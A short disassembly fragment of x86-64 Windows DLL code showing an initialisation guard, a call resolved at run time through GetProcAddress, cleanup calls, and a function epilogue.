mov ecx, dword [rbx + rax]
cmp dword [0x1803a1558], ecx
jle 0x18035150f
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18035150f
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0xa]
call qword [0x1803a1560]
call rax
mov r15d, dword [rbp + 0x3d8]
lea rcx, [rbp + 0x368]
call fcn.180351b90
lea rcx, [rbp + 0x500]
call fcn.1800060c0
mov eax, r15d
jmp 0x18035154d
xor eax, eax
mov rbx, qword [rsp + 0x3ee8]
add rsp, 0x3ef0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret